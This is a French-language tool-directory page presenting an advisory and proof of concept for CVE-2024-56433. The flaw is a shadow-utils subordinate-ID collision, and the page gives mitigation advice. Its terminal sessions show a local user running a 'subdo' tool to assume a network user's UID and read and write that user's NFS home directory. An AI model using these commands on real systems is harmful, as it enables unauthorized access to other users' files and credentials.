Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-56433 — Preuve de concept pour CVE-2024-56433, démontrant une élévation de privilèges via une collision d'ID subordonnés dans shadow-utils pour accéder aux données d'autres utilisateurs. | Kitploit
Outils/GitHubGitHub/jonnywhatshisface/cve-2024-56433
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionRed Teaming
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

Preuve de concept pour CVE-2024-56433, démontrant une élévation de privilèges via une collision d'ID subordonnés dans shadow-utils pour accéder aux données d'autres utilisateurs.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 1 anPas encore vérifié

CVE-2024-56433

shadow-utils - Attribution par défaut non sécurisée des identifiants subordonnés pour les utilisateurs locaux

Résumé

L'attribution par défaut des identifiants subordonnés crée un risque de collision avec les identifiants d'utilisateurs existants, permettant potentiellement de modifier arbitrairement les UID/GID et d'obtenir un accès non autorisé aux données et aux ressources réseau.

Versions concernées

Paquet de base : shadow-utils 4.4 - 4.17.0

Distributions Linux concernées

Confirmé sur : Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. Toutes les versions récentes des distributions utilisant shadow-utils 4.4 et supérieur.

Références

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

Détails

Shadow-utils a commencé à être distribué avec une configuration par défaut déléguant les identifiants subordonnés aux utilisateurs locaux.

root@kitploit:~
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

Lorsque de nouveaux utilisateurs locaux sont ajoutés au système via l'un des outils shadow-utils (adduser, useradd et lors de l'installation du système), chaque utilisateur reçoit un bloc unique de 65 536 UID et GID, commençant à l'UID/GID 100000. Par exemple, le système suivant comporte deux utilisateurs locaux ajoutés :

root@kitploit:~
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

La configuration des identifiants subordonnés délègue le droit d'utilisation des plages spécifiées à l'utilisateur dans un espace de noms utilisateur et est le plus souvent utilisée pour la conteneurisation sans root. Cependant, les utilitaires de conteneurisation ne sont pas nécessaires pour entrer dans un espace de noms et cela peut être fait par plusieurs moyens, notamment en utilisant les outils par défaut de shadow-utils 'newuidmap' et 'newgidmap.' Cela permet à l'utilisateur de changer arbitrairement vers l'identifiant d'utilisateur POSIX de n'importe quel identifiant dans la plage qui lui est déléguée.

Exemple

Dans l'exemple suivant, l'utilisateur Jon - UID/GID 1000 - s'est vu déléguer une plage d'UID/GID de 65 536 identifiants commençant à 100000. Le réseau dispose d'autres identifiants configurés via LDAP pour la gestion centralisée des utilisateurs et la connexion, avec les répertoires personnels des utilisateurs réseau sur NFS.

L'UID/GID 108372 appartient à l'utilisateur réseau msteph.

En exploitant l'allocation par défaut des UID/GID subordonnés créée lors d'une installation, l'utilisateur local peut basculer vers l'identifiant de l'utilisateur réseau puis accéder au répertoire personnel NFS, en lisant et écrivant des fichiers en tant que cet utilisateur.

root@kitploit:~
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

Bien que NFS ait été utilisé comme exemple, cela va au-delà du simple accès NFS. Les infrastructures où les identifiants Kerberos peuvent être stockés sur le système local deviennent à risque, car les identifiants pourraient être récupérés depuis le système local et l'accès à d'autres services kerberisés devient possible.

Atténuation

Les entrées SUB_ dans /etc/login.defs doivent être supprimées. Toutes les entrées dans /etc/subuid et /etc/subgid qui ne sont pas attendues doivent également être supprimées.

POC

Le POC pour changer l'UID/GID vers l'identifiant subordonné alloué souhaité est joint sous forme de subdo.c et subdo.py

Le POC mappe l'identifiant interne et externe au même identifiant puis exécute setuid() et setgid() vers cet identifiant dans l'espace de noms, ce qui signifie que toutes les commandes exécutées dans le shell de l'espace de noms s'exécutent désormais avec cet uid/gid sur l'hôte.

subdo.c

Permet l'exécution de n'importe quelle commande et de n'importe quels arguments avec l'UID/GID subordonné souhaité.

root@kitploit:~
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

Exécute /bin/bash avec l'UID/GID subordonné souhaité.

root@kitploit:~
Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Télécharger l’outil